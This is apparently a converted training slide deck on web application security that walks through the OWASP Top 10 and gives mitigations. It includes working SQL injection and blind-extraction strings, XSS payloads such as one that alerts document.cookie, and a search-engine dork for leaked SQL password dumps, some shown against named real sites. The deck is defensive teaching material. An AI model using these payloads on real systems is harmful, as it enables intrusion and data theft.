

# Web Application Security with Real Life Examples

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# Section - 1 Quick Recap

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- ❖ HTTP Protocol
  - ❖ What is HTTP?
  - ❖ HTTP Methods
  - ❖ POST/GET Request
    - ◉ Why/where should I use GET?
    - ◉ Why/where should I use POST
  - ❖ HTTP Headers
    - ◉ XFF
    - ◉ Cookie


# HTTP

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- ❖ To understand web we need to know about HTTP - Hyper text transfer protocol
- ❖ Application Layer Protocol
- ❖ Uses TCP as its transport mechanism
- ❖ Core Communication Protocol
- ❖ Message based Model
  - \* Client Message - Request
  - \* Server Message - Response
- ❖ Stateless
  - \* Protocol itself does not maintain user information for any request
- ❖ Cookies were introduced to make it stateful

# 3-Way Handshake

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# HTTP Message Types

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- ❖ HTTP messages consist of requests from client to server and responses from server to client.
- ❖ Both types of message consist of
  - \* start-line(a request-line or a status-line)
  - \* zero or more header-fields (also known as “headers”)
  - \* an empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields,
  - \* and (possibly) a message-body.

# HTTP Methods

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- ❖ GET
  - \* Retrieve resources
- ❖ POST
  - \* Performing actions
- ❖ HEAD
  - \* To check the existence of a resource
- ❖ TRACE
  - \* Echoes back to client what ever string is sent to server. (control server or debugging etc.)
- ❖ OPTIONS
  - \* To find HTTP methods that are available for a resource
- ❖ PUT
  - \* To upload a resource to the server
- ❖ DELETE
  - \* To delete a resouce on the server

# HTTP Methods

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- ❖ Safe Methods - Retrieve information and should not change server state
  - \* GET
  - \* HEAD
  - \* TRACE
  - \* OPTIONS
- ❖ Unsafe Methods - Make changes to the server state
  - \* PUT
  - \* POST
  - \* DELETE

# GET Request

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Basically, GET means “read” operation.

<https://www.informatica-feminale.de/Sommer2015/lib/ajax/course.php?courseId=554>

http=Protocol

[www.informatica-feminale.de](http://www.informatica-feminale.de) = Domain

Sommer2015 = Directory

course.php = Web Page

?courseID = 554 -> variable is “courseID”, data is “554”

# HTTP Request Example

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Request Line + Headers + Empty Line

GET /books/search.asp?q = wash HTTP/1.1

Accept:image/gif, image/xxbitmap, image/jpeg, image/pjpeg, application/xshockwaveflash,  
application/vnd.msexcel,application/vnd.mspowerpoint, application/msword, \*/\*

Accept-Language: en-gb, en-us;

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Host: [www.example.com](http://www.example.com)

Request Line = Method + Resource Location + HTTP Version

# HTTP Response

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Response Line + Headers + Empty Line + Body

HTTP/1.1 200 OK

Date: Thu, 30 Jun 2011 13:49:37 GMT

Server: IBM\_HTTP\_SERVER/1.3.26.2 Apache/1.3.26(Unix)

Content-Type: text/html; charset = ISO-8859-1

Content-Language: en-US

Content-Length: 24246

<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>

<html lang=“en”>

<head>

...

Response Line = HTTP Version + Response Code

# Disadvantages of GET Request

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Max length of URL query string = 2083

Every single GET request will be written into the log file by default configuration of web server. This cause information leakage.

Sys admins can see sensitive information that carried on GET request.

# POST Request

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Basically, POST means "write" operation. E.g:  
tweeting, sending mail via browser, or login web page.

Variables are carried inside of HTTP body instead of  
URL.

# Example of POST Request

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Request Line + Headers + Empty Line + Body

POST /books/search.asp HTTP/1.1

Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg, application/xshockwaveflash, application/vnd.msexcel, application/vnd.mspowerpoint, application/msword, \*/\*

Accept-Language: en-gb, en-us;

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Host: [www.example.com](http://www.example.com)

Content-Length: 10

q=Wahh

Request Line = Method + Resource Location + HTTP Version

# HTTP Headers

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HTTP header fields are components of the header section of request and response messages in the Hypertext Transfer Protocol (HTTP).

# HTTP Header Fields

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- ❖ HTTP header-fields include
  - \* general-headers
  - \* request-headers
  - \* response-headers
  - \* content-headers
- ❖ Each header-field consists of a name followed by a colon and the field value

# HTTP Headers Example

---

**Host:** net.tutsplus.com

**User-Agent:** Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)

**Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

**Accept-Language:** en-us,en;q=0.5

**Accept-Encoding:** gzip,deflate

**Accept-Charset:** ISO-8859-1,utf-8;q=0.7,\*;q=0.7

**Keep-Alive:** 300

**Connection:** keep-alive

**Cookie:** PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120

# Security Issues in HTTP

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- ❖ Privacy
  - Anyone can see content
- ❖ Integrity
  - Someone might alter content
- ❖ Authentication
  - Not clear who you are talking with

# HTTPS


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- ❖ HTTP is unencrypted and insecure
- ❖ HTTPS uses a secure transport mechanism (SSL/TLS)
- ❖ Protects privacy and integrity of all data passing over network

# HTTPS Transactions

## HTTPS Sequence Diagram

HTTPS uses SSL/TLS for secure communication between the browser and server.  
Step 1: Public-Key encryption is first used to setup a secure connection  
Step 2: Private-Key encryption is then used for all subsequent communication



\* SSL key exchange is complete after Step 1. Subsequent communication will use Private-Key encryption,  
the Session-Key will be used as the Private-Key.  
\* Private-Key Encryption = Symmetric Encryption  
\* Public-Key Encryption = Asymmetric Encryption  
\* CA = Certificate Authority  
\* HTTPS TCP Port 443

# Encoding Techniques

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❖ Different representation of same data

❖ URL Encoding

- \* Permitted characters in the URLs

- \* %20 or + for space

❖ UNICODE

- \* Designed to support all the writing systems in the world

- \* %u2215 /

❖ HTML Encoding

- \* Represent problematic characters to safely incorporate in HTML page

- \* " &

❖ Base 64 Encoding

- \* Encoding process input in blocks of 3 bytes

- \* ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==


# Cookie

---




- ❖ Cookies were designed to be a reliable mechanism for websites to remember stateful information (such as items in a shopping card) or to record the user's browsing activity

# HTTP Login Mechanism and Cookie



# X-Forwarded-For

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# Jargon

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**Vulnerability** = a flaw in security systems

**Exploit** = a command/code which enable us to use vulnerabilities for attacking

**Exploitation** = performing an attack via exploiting vulnerabilities

**Payload** = harmful input to perform an attack

**Input** = is to provide or give something to the computer

**Session** = unique for user who is in web application

# Attack Vectors

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# Internal vs External

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%58

Information Security Incidents Attributed to Insider Threat

# Input

# Attack Tools

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# Firefox Plugins

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- ❖Cookie Manager
- ❖Modify Headers
- ❖Hackbar
- ❖Foxproxy
- ❖Live-HTTP Headers

# Google Hacking & Exiftool

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ext:sql intext:"alter user" intext:"identified by"

# OWASP #10

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

1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting (XSS)
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery (CSRF)
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards

# A1 - Injection



# INJECTION

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# Code Injection

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- ❖ Code injection is the exploitation of a computer bug that is caused by processing invalid data.
- ❖ When you examine the code it is easy to detect, but not via testing.

# SQL Exercises

# SQL Injection

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SQL Injection is a technique where attackers can inject SQL commands into a SQL statement, via web page input.

# SQL Injection

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# SQL Injection

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1. HTTP POST request generation by client.
2. Application get request and parse headers and body in order to decide an action.
3. Strip out parameter and variable.

E.G: KEYWORD=INFORMATICA

4. Preparation of SQL query.

E.G: SELECT \* FROM FOO WHERE KEYWORD= ‘**INFORMATICA**’

# SQL Injection

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**Keyword** = informatica\_feminale

**Query** = SELECT \* FROM foo WHERE keyword =  
‘informatica\_feminale’

**Keyword** = informatica\_feminale’ OR ‘1’=‘1

**Query** = SELECT \* FROM foo WHERE keyword =  
‘informatica\_feminale’ OR ‘1’ = ‘1’

# SQL Injection

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More questions...

1. What will attackers do after that point?
2. How can we retrieve sensitive information from database?
3. Do we know table names? If not, how can we get table names?

# SQL Injection

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**Step - 1**

**Determine the database name.**

`SELECT @@database;`

`SELECT database();`

`...`

# SQL Injection

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**Step - 2**

**Determine the table names of database.**

```
SELECT table_name FROM  
information_schema.tables WHERE table_schema =  
'infodb'
```

# SQL Injection

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**Step - 3**

**Determine the column names of tables.**

```
SELECT column_name FROM  
information_schema.columns WHERE table_name =  
'users'
```

# SQL Injection

---

Step - 4

**Fetch sensitive data from database**

```
SELECT column_name FROM  
information_schema.columns WHERE table_name =  
'users'
```

# SQL Injection

---

Everything seems pretty good. But we have one problem...???

**Keyword** = informatica\_feminale' OR '1'='1

**Query** = SELECT \* FROM foo WHERE keyword =  
'informatica\_feminale' OR '1'='1'

**Target** = SELECT database();

# SQL Injection

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`SELECT 1 UNION SELECT 2`

`mysql> SELECT 1 UNION SELECT 2;`

`+-- +`

`| 1 |`

`+-- +`

`| 1 |`

`| 2 |`

`+-- +`

`2 rows in set (0.02 sec)`

# Example #1 - SQL Injection

<http://sea.ebay.com/list.php?catid=36>

The screenshot shows the eBay News section. At the top, there's a yellow header with the word "News" and a subtext about staying "in the know". Below this is a large image of a newspaper with the word "News" visible.

Underneath the image, there's a search bar with the placeholder "The Last 6 Months". Below the search bar, there are checkboxes for selecting a site: US (checked), UK, Germany, France, and Australia. To the right of these checkboxes are "More Site" and "Filter" buttons.

The main content area displays a list of outages:

- Outage** (date: 2012/05/08)  
SMS Service unavailable from 23:00 on May 11st to 06:00 on May 12th  
Impacted sites: Philippines | Singapore
- Outage** (date: 2011/03/29)  
Updated: Issue with PayPal information in listings - resolved  
Impacted sites: Australia
- Outage** (date: 2011/03/25)  
[AU] Issue with PayPal info in listings on eBay AU  
Impacted sites: Australia

# Example #1 - SQL Injection

```
POST /news.php?time=&catid=31 HTTP/1.1
Host: sea.ebay.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://sea.ebay.com/list.php?catid=36
Cookie: __utma=1.832291063.1383156971.1383156971.1383156971.1; __utmb=1.5.10.1383156971;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
```

```
checkbox[] = 2
```

```
<?php

public function getData($id)
{
    $q = $this->db->query('SELECT * FROM foo WHERE id = '.$id);
    $result = $q->result();
    return $result;
}
```

# Example #1 - SQL Injection

---

HTTP requests can be manipulated so;

checkbox[] = 2

#SELECT title, content FROM foo WHERE id = 2

Instead;

checkbox[] = 5 LIMIT 1,1 UNION ALL SELECT version(), 2

#SELECT title, content FROM foo WHERE id = 5 LIMIT 1,1 UNION SELECT version(),2

# Example #1 - SQL Injection

---

Tables;

phpcms\_admin

phpcms\_admin\_role

phpcms\_admin\_role\_priv

phpcms\_ads

...



# Blind / Time-based SQL Injection

# Let's play a T/F Game

---

```
[mysql]> SELECT * FROM news;  
+----+-----+  
| id | title |  
+----+-----+  
| 1  | Big bang...! |  
| 2  | Mr.Robot reality |  
+----+-----+  
2 rows in set (0.00 sec)
```

# Playing T/F Game

---

User Input : 1

Query : SELECT \* FROM news WHERE id = '1';

```
mysql> SELECT * FROM news WHERE id='1';
+----+-----+
| id | title      |
+----+-----+
| 1  | Big bang..! |
+----+-----+
1 row in set (0.00 sec)
```

# Playing T/F Game

---

**User Input :** 1' and '1='1

**Query :** SELECT \* FROM news WHERE id = '1' and  
'1='1';

```
mysql> SELECT * FROM news WHERE id='1';
+----+-----+
| id | title      |
+----+-----+
| 1  | Big bang..! |
+----+-----+
1 row in set (0.00 sec)
```

# Playing T/F Game

---

User Input : 1' and substring((SELECT database()),1,1)='a

Query : SELECT \* FROM news WHERE id = '1' and  
substring((SELECT database()),1,1)='a';

Empty set (0.00 sec)

**70** attempt for each char.

A-Za-z = 52


0-9 = 10

Special chars = 8

# Binary Search

User Input : 1' and ASCII(substring((SELECT database()),1,1))>65#

Query : SELECT \* FROM news WHERE id = '1' and  
ASCII(substring((SELECT database()),1,1))>65#';



# Not Only **SELECT**

INSERT, DELETE, UPDATE

Redis, xxxMQ

Stored Procedure, LDAP

# LDAP Injection

---

```
import javax.naming.ldap.LdapContext;  
  
//...  
  
LdapContext ctx = new InitialLdapContext(env, null);  
  
// (&(USER=username)(PASSWORD=pwd))  
String ldapUserFilter = "(&(USER=" + username + ")(PASSWORD=" + pwd+ " ))";  
  
NamingEnumeration<SearchResult> answer =  
    ctx.search("CN=Users,DC=YourDomain,DC=com", ldapUserIdFieldFilter, searchControls);  
  
    Username -> john)(&))  
  
    (&(USER=john)(&))
```

Hackers Gonna  
Hack

# Mitigation : PDO / ORM



# Secure Database Query Execution

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```
model.addAttribute("venues", jdbcTemplate.queryForList(
    "SELECT v.id id, v.name venue_name, ec.name cat_name, ev.name event_name FROM VENUE v\n"
    + "LEFT JOIN VENUE_EVENTS ve ON v.id=ve.venue_id\n"
    + "LEFT JOIN EVENT ev on ev.id = ve.event_id\n"
    + "LEFT JOIN EVENT_EVENT_CATEGORIES ece on ev.id = ece.event_id\n"
    + "LEFT JOIN EVENT_CATEGORY ec on ec.id = ece.event_category_id where v.name=''' + name + ''';"
));
return new HashSet<Venue>(sessionFactory.getCurrentSession().createCriteria(Venue.class)
    .setFetchMode("events", FetchMode.JOIN)
    .setFetchMode("events.eventCategories", FetchMode.JOIN)
    .list());
```

# Secure LDAP Query Execution

---


```
LdapQuery query = query()  
    .base("CN=Users,DC=YourDomain,DC=com")  
    .where("USER").is(user)  
    .and("PASSWORD").is(password);  
  
List<String> result = ldapTemplate.search(query, attributesMapper);
```

# A2 - Broken Authentication & Session Management

# Broken Auth & Session Management

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- ❖ Lack of Middleware Auth
- ❖ Method based Authorization
- ❖ Password reset code re-use
- ❖ Captcha validation
- ❖ Session expire
- ❖ Session fixation
- ❖ Session prediction
- ❖ Session ID randomness
- ❖ ...



# Broken Authentication and Session Management

---

1. User authentication credentials aren't protected when stored using hashing or encryption.
2. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
3. Session IDs are exposed in the URL (e.g., URL rewriting).
4. Session IDs are vulnerable to session fixation attacks.
5. Session IDs don't timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren't properly invalidated during logout.
6. Session IDs aren't rotated after successful login.
7. Passwords, session IDs, and other credentials are sent over unencrypted connections.

## Example Attack #2

---


**Scenario:** Airline reservations application supports URL rewriting, putting session IDs in the URL:

`http://example.com/sale/  
saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?  
dest=Hawaii`

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

# Middleware

---



# Middleware Usage

---

```
Route::group(['middleware' => 'auth'], function () {
    // Logout
    Route::get('logout', 'AdminController@logout');
    // Advisory
    Route::resource('admin/exploit', 'ExploitController');
    // Platform create and store
    Route::get('admin/platform/create', 'PlatformController@create');
    Route::post('admin/platform', 'PlatformController@store');
    // Article index
    Route::get("admin/article", 'AdminController@allArticle');
    // Article create and store
    Route::get('admin/article/create', 'ArticleController@create');
    Route::post('admin/article', 'ArticleController@store');
    // Article edit and update
    Route::get('admin/article/{id}/edit', 'ArticleController@edit');
    Route::patch('admin/article/{article}', 'ArticleController@update');
    Route::delete('admin/article/{article}', 'ArticleController@destroy');
});
```

# Middleware - Principle of Complete

---

```
@Override  
protected void configure(HttpSecurity http) throws Exception {  
    http  
        .authorizeRequests()  
            .antMatchers("/", "/home").permitAll()  
            .anyRequest().authenticated()  
            .and()  
        .formLogin()  
            .loginPage("/login")  
            .permitAll()  
            .and()  
        .logout()  
            .permitAll();  
}
```

## Example #3 - Password Reset Module

---

1 - <https://www.facebook.com/login/identify?ctx=recover>


POST /recover/as/code/HTTP/1.1

Host: [www.facebook.com](http://www.facebook.com)

lsd = AVoywo13&n = XXXXXX (6digit random)

Bounty: 15.000\$

# Session Fixation/Prediction




# Session Prediction

---

```
GET http://janaina:8180/WebGoat/attack?Screen=17&menu=410 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://janaina:8180/WebGoat/attack?Screen=17&menu=410
Cookie: JSESSIONID=user01 ←
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
```

Predictable session cookie

# Session Fixation



# Mitigation : CSPRNG / Cookie Header




# A3 - Cross-Site Scripting



# XSS

---



A High Level View of a typical XSS Attack

# Cross-site Scripting

---

www.website.com/search/?keyword=deneme

```
47      <!-- InstanceBeginEditable name="content_rgn" -->
48      <div id="content">
49          <h2 id='pageName'> searched for: deneme</h2></div>
50      <!-- InstanceEndEditable -->
51      <!-- end content -->
```

# Cross-site Scripting

---

www.website.com/search/?keyword=<script>alert(/BILGE/)</script>

```
47     <!-- InstanceBeginEditable name="content_rgn"  -->
48     <div id="content">
49         <h2 id='pageName'> searched for: <script>alert(/BILGE/)</script></h2></div>
50     <!-- InstanceEndEditable -->
51     <!-- end content -->
```

# What can we do with Javascript?


In a bad way...

**Literally, EVERYTHING**

# Stored, Reflected, DOM


## Based Cross-Site Scripting...

# Stored XSS



# Example #4 - Stored XSS on Gmail

1. From: @blabla.com
2. To: [victim@gmail.com](mailto:victim@gmail.com)





# Example #5 - Stored XSS through Dropbox

1. Create file on Dropbox through web client.

```
“><img src=# onerror=alert(document.domain)>.txt
```

The following characters are not allowed: \/:?\* <> " |

2. Through Windows client.
3. Through Linux client.
4. And facebook...



# Dom Based XSS

[http://www.xyz.com/news/throw-pepper-sprey/#!prettyPhoto\[gallery2\]/0/](http://www.xyz.com/news/throw-pepper-sprey/#!prettyPhoto[gallery2]/0/)



# Dom Based XSS

[http://www.xyz.com/news/throw-pepper-sprey/#!prettyPhoto\[gallery2\]/0/](http://www.xyz.com/news/throw-pepper-sprey/#!prettyPhoto[gallery2]/0/)">svg  
onload=alert(document.cookie)/

The screenshot shows a news article about a meeting. The URL in the browser's address bar is manipulated to include a script that alerts the cookie value.

**Haber Kategorisi | Etkinlik, Manşet**

**Yedirenk Öğrenci Topluluğu Tanışma Toplantısı**  
Yayın Tarihi : 08 Ekim 2013

**EN SON HABERLER**

- İnsanın Niteliği ve Kültür-Medeniyet Kavramı Konferansı
- Rektör Elmas Kazakistan'a Gidecek

IN\_HASH=!prettyPhoto%5Bgallery2%5D%2F%22%3E%3Csvg%20onload%3Dalert(document.cookie)%3E%2F; \_\_utma=188616753.281514075.1383168407.1383168407.1383168407.1; \_\_utmb=188616753.2.10.1383168407; \_\_utmc=188616753; \_\_utmz=188616753.1383168407.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

yardımcı olacak bilgiler verildi.

Yeni kayıt gelen öğrencilere gönüllü rehberlik hizmeti de veren Yedirenk Dünya Öğrenci Topluluğu, bu program aracılıyla çok farklı kültürden ve anlayıştan gelen gençlerin tanışmasına ve kaynaşmasına zemin hazırlamış oldu. Topluluk üyeleri, yabancı öğrencilerden kendilerini Sakarya'da misafir olarak görmemelerini istediklerini ve öğrencilere her konuda yardımcı olmaya çalışıklarını belirttiler.

OK

Öğrencilerin Çıktılarını Eğitme

- Sakarya Üniversitesi'nde Bayramlaşma
- SAÜ'de 'Sanal Kaynak Simülatörü' Üretildi
- Bilişim Fakültesi İçin İmzalar Atıldı

# Dom Based XSS

---

## Jquery < 1.9.1

```
hashIndex = getHashtag();
hashRel = hashIndex;
hashIndex = hashIndex.substring(hashIndex.indexOf('/')+1,hashIndex.length-1);
hashRel = hashRel.substring(0,hashRel.indexOf('/'));

// Little timeout to make sure all the prettyPhoto initialize scripts has been run.
// Useful in the event the page contain several init scripts.
setTimeout(function(){ $("a["+pp_settings.hook+"^='"+hashRel+"']:eq("+hashIndex+"))").trigger('click');
```

# Dom Based XSS

Search

extension:js @a[rel^="" + hashRel + ""]

Search

- Repositories
- Code 107
- Issues 8
- Users

Languages

JavaScript

107

We've found 107 code results

Sort: Best match ▾



Arkadiy-Sedelnikov/joostina-1.4 – jquery.prettyPhoto.min.js

JavaScript

Last indexed 3 months ago

```
609     hashRel = hashRel.substring(0, hashRel.indexOf('/'));
610     setTimeout(function () {
611         $("a[rel^='" + hashRel + "']:eq(" + hashIndex + ")").trigger('click');
612         ...
613     }
614     set_position = jQuery.inArray($(this).attr('href'), pp_images);
615     rel_index = (isSet) ? set_position : $("a[rel^='" + theRel + "']").index($(this));
```

# XSS Mitigation



# Context

---

- ❖ HTML Context
- ❖ Attribute Context
- ❖ Javascript Context
- ❖ Style Context
- ❖ URI Context

# HTML Context

---

```
<body>
```

```
...
```

```
<p> Your name is: Mehmet
```

```
...
```

```
</body>
```

# HTML Context Exploit

---

```
<body>
```

```
...
```

```
<p> Your name is: <script>alert(1)</script>
```

```
...
```

```
</body>
```

# Secure HTML Context

---

```
<body>
```

```
...
```

```
<p> Your name is: &lt;script&gt;alert(1)&lt;/script&gt;
```

```
...
```

```
</body>
```

# Attribute Context

---

```
<body>
```

```
...
```

```
<input name="fname" value="BILGE">
```

```
<input name="fname" value='BILGE'>
```

```
...
```

```
</body>
```

# Attribute Context Exploit

---

```
<body>
```

```
...
```

```
<input name="fname" value="" onmouseover="alert(1)">
```

```
<input name="fname" value='onmouseover='alert(1)'>
```

```
...
```

```
</body>
```

# From Attribute to HTML Context

---

```
<body>
```

```
...
```

```
<input name="fname" value=""><svg onload=alert(1)><!-->
```

```
...
```

```
</body>
```

# Secure Attribute Context

---

```
<body>
```

```
...
```

```
<input name="fname"  
value=""onmouseover="alert(1)">
```

```
...
```

```
</body>
```

# Script Context

---

```
<body>
```

```
...
```

```
<script>
```

```
    var name=“BILGE”;
```

```
</script>
```

```
...
```

```
</body>
```

# Script Context Exploit

---

```
<body>
```

```
...
```

```
<script>
```

```
    var name=“”;alert(1);//”;
```

```
</script>
```

```
...
```

```
</body>
```

# From Script to HTML Context

---

```
<body>
```

```
...
```

```
<script>
```

```
    var name=“</script><svg onload=alert(1)>”;
```

```
</script>
```

```
...
```

```
</body>
```

# Style Context

---

```
<body>
```

```
...
```

```
<div style="font-size:20px;"></div>
```

```
...
```

```
</body>
```

# Style Context Exploit

---

```
<body>
```

```
...
```

```
<div style="width:expression(alert(1))"></div>
```

```
...
```

```
</body>
```

```
//IE only
```

# Style Context Exploit

---

```
<body>
```

```
...
```

```
<style>font: PAYLOAD</style>
```

```
...
```

```
</body>
```

```
//IE only
```

# Style Context Exploit

---

```
<body>
```

```
...
```

```
<style>font: </style><script>alert(1)</script></style>
```

```
...
```

```
</body>
```

# URL Context

---

```
<body>
```

```
...
```

```
<a href="www.yildiz.net;"></div>
```

```
...
```

```
</body>
```

# URL Context Exploit

---

```
<body>
```

```
...
```

```
<a href="“javascript:alert(1);”>
```

```
...
```

```
</body>
```

Mitigation : Validate input, Encode output

# Input Validation - Black Listing Approach

---



# What the heck is that?

---

[[(![]+[])[+[]]+([![]]+[])[+!+[ ]+[ +[]]]+(![]+[ ])[!+[ ]+!+[ ]]+(!![ ]+[ ]) [+[]]+(!![ ]+[ ])![+[]]+!+[ ]+!  
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# Input Validation - White Listing Approach

---



# OWASP Java Encoder

---

Basic HTML Context

```
<body><%= <b>Encode.forHtml(UNTRUSTED)</b> %></body>
```

HTML Content Context

```
<textarea name="text"><%= <b>Encode.forHtmlContent(UNTRUSTED)</b> %></textarea>
```

HTML Attribute context

```
<input type="text" name="address" value=<%= <b>Encode.forHtmlAttribute(UNTRUSTED)</b> %>" />
```

CSS contexts

```
<div style="width:<= <b>Encode.forCssString(UNTRUSTED)</b> %>">  
<div style="background:<= <b>Encode.forCssUrl(UNTRUSTED)</b> %>">
```


Javascript Block context

```
<script type="text/javascript">  
var msg = "<%= <b>Encode.forJavaScriptBlock(UNTRUSTED)</b> %>";  
alert(msg);  
</script>
```

Javascript Variable context

```
<button  
onclick="alert('<%= <b>Encode.forJavaScriptAttribute(UNTRUSTED)</b> %>');">  
click me</button>
```

# A4 - Insecure Direct Object References



## Example #5 - Nokia IDOR

---

[www.test.com/invoice/1337](http://www.test.com/invoice/1337)

[www.test.com/invoice/1338](http://www.test.com/invoice/1338)

# Example #5 - Nokia IDOR

<https://ap.nokia.com/APPortalExt/mycompany/requests.aspx?id=26033>

The screenshot shows a web browser displaying the Nokia AP Portal. The URL in the address bar is highlighted with a red box and contains the parameter `?id=26033`. The user's email address, `redkarvin@gmail.com (Activated)`, is also highlighted with a red box in the top right corner of the page. The main content area shows a form for a request, with the Request Id field containing the value `26033`, which is also highlighted with a red box. To the right of the form, there is a table with several rows, each containing a single word: Nokia, test, test, test, test, INDIA, test, test, test. A help box is visible on the right side of the page, providing instructions for reading comments and submitting messages.

Nokia AP Portal

CONFIDENTIAL

redkarvin@gmail.com (Activated)

Logout | Change corporation | Feedback

Frontpage Account Company Address Search Support

Company Request Access

Request Discussion

Request Id  
Request Status  
Corporation \*  
Company name \*  
VAT#  
Address \*  
Postal code \*  
City \*  
Country \*  
Supplier ID  
Purchase order number  
Invoice number  
Contact person

Cancel Request Back


26033	Pending
Nokia	
test	
test	
test	
test	
test	
INDIA	
test	
test	
test	

**Help**

Here you can read our comments related to your request.  
From Discussion you can add comments in the 'Message' field and press Submit - button.

# Example #5 - Nokia IDOR

<https://ap.nokia.com/APPortalExt/mycompany/requests.aspx?id=26029>



# Example #5 - Nokia IDOR

---

<https://example.com/users/JohnDoe/expenditures>

```
@RequestMapping(value = "/users/{username}/expenditures", method=RequestMethod.GET)
public String getOrder(@PathVariable String username, Model model){

    model.addAttribute("result", accountService.listExpenditures(username));
    return viewName;
}
```

# Access Reference Map

Direct Reference: 13

## Account

id: 13

type: savings

balance: ...

...

AccessReferenceMap

Indirect Reference: xba1

<https://example.com/accounts/13>



<https://example.com/accounts/xba1>

# Access Reference Map

---

```
Set accounts = accountsRepository.findAllByUsername(username);

AccessReferenceMap map = new RandomAccessReferenceMap(accounts);

// store the map somewhere in session or cache

// then in somewhere else, indirectReference is likely to come
// from UI
Account account = map.getDirectReference(indirectReference);

// There is also "getIndirectReference" method
String indirectReference = map.getIndirectReference(account);
```

# Mitigation : Reference Table/ JOIN



# A5 - Security Misconfiguration

# Security Misconfiguration

---

Publicly Accessible Administrator Interface

Directory Listing

Stack Traces

Debug Mode

Sample Pages

Cookie Security Flags

Security Headers

True Client IP

# Security Misconfiguration

---

- ❖ Misconfiguration of web server
  - \* Version disclosure
  - \* Enabled stack traces
- ❖ Misconfiguration of database
  - \* Default tables
  - \* Default users
  - \* Unencrypted communication between DB & app.
- ❖ Misconfiguration of application framework
  - \* By default variable name E.g: "zend\_csrf\_protection"

# Am I Vulnerable?

---

- ❖ Is any of your software out of date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries
- ❖ Are any unnecessary feature enabled or installed (e.g., ports, services, pages, accounts, privileges)?
- ❖ Are default accounts and their passwords still enabled and unchanged?
- ❖ Does your error handling reveal stack traces or other overly informative error messages to users?
- ❖ Are the security settings in your development frameworks (e.g., Struts, Spring, [ASP.Net](#)) and libraries not set to secure values?

# Scenario #1

---

The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over the server.

## Scenario #2

---

App server comes with sample applications that are not removed from your production server. Sample applications are well known with security flaws, attacker can use to compromise your server.


## Scenario #3

---

Your application has login page. When a user enter wrong username or password, the page gives an error message that tells to user which area is wrong.

# Directory Listing

---



The screenshot shows a web browser window with the title "Directory Listing For /doc/pdf/" at the top. The address bar displays "qtciiq60.local/identityiq/doc/pdf/". The browser interface includes standard buttons for back, forward, search, and bookmarks. Below the title bar, there are several dropdown menus and links. The main content area is titled "Directory Listing For /doc/pdf/ - Up To /doc". It contains a table with three columns: "Filename", "Size", and "Last Modified". The table lists 20 PDF files, all of which were modified on Thursday, November 1, 2012, at 21:49:56 GMT. The files are listed in pairs, likely representing different versions or configurations. The last row of the table indicates the software used: "Apache Tomcat/6.0.35".

Filename	Size	Last Modified
<a href="#">6_0_1_IdentityIQ_Administration_Guide.pdf</a>	2583.5 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_BMC_SRM_Integration_Guide.pdf</a>	312.6 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Cloud_Gateway_Release_Notes.pdf</a>	173.4 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Cloud_Gateway_User_Guide.pdf</a>	327.4 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Direct_Connectors_Admin_and_Config_Guide.pdf</a>	1586.6 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Installation_Guide.pdf</a>	335.1 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Integration_Guide.pdf</a>	1303.5 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_Release_Note.pdf</a>	681.0 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_IdentityIQ_User_Guide.pdf</a>	2437.9 kb	Thu, 01 Nov 2012 21:49:56 GMT
<a href="#">6_0_1_Lifecycle_Manager_Acitivation.pdf</a>	150.6 kb	Thu, 01 Nov 2012 21:49:56 GMT
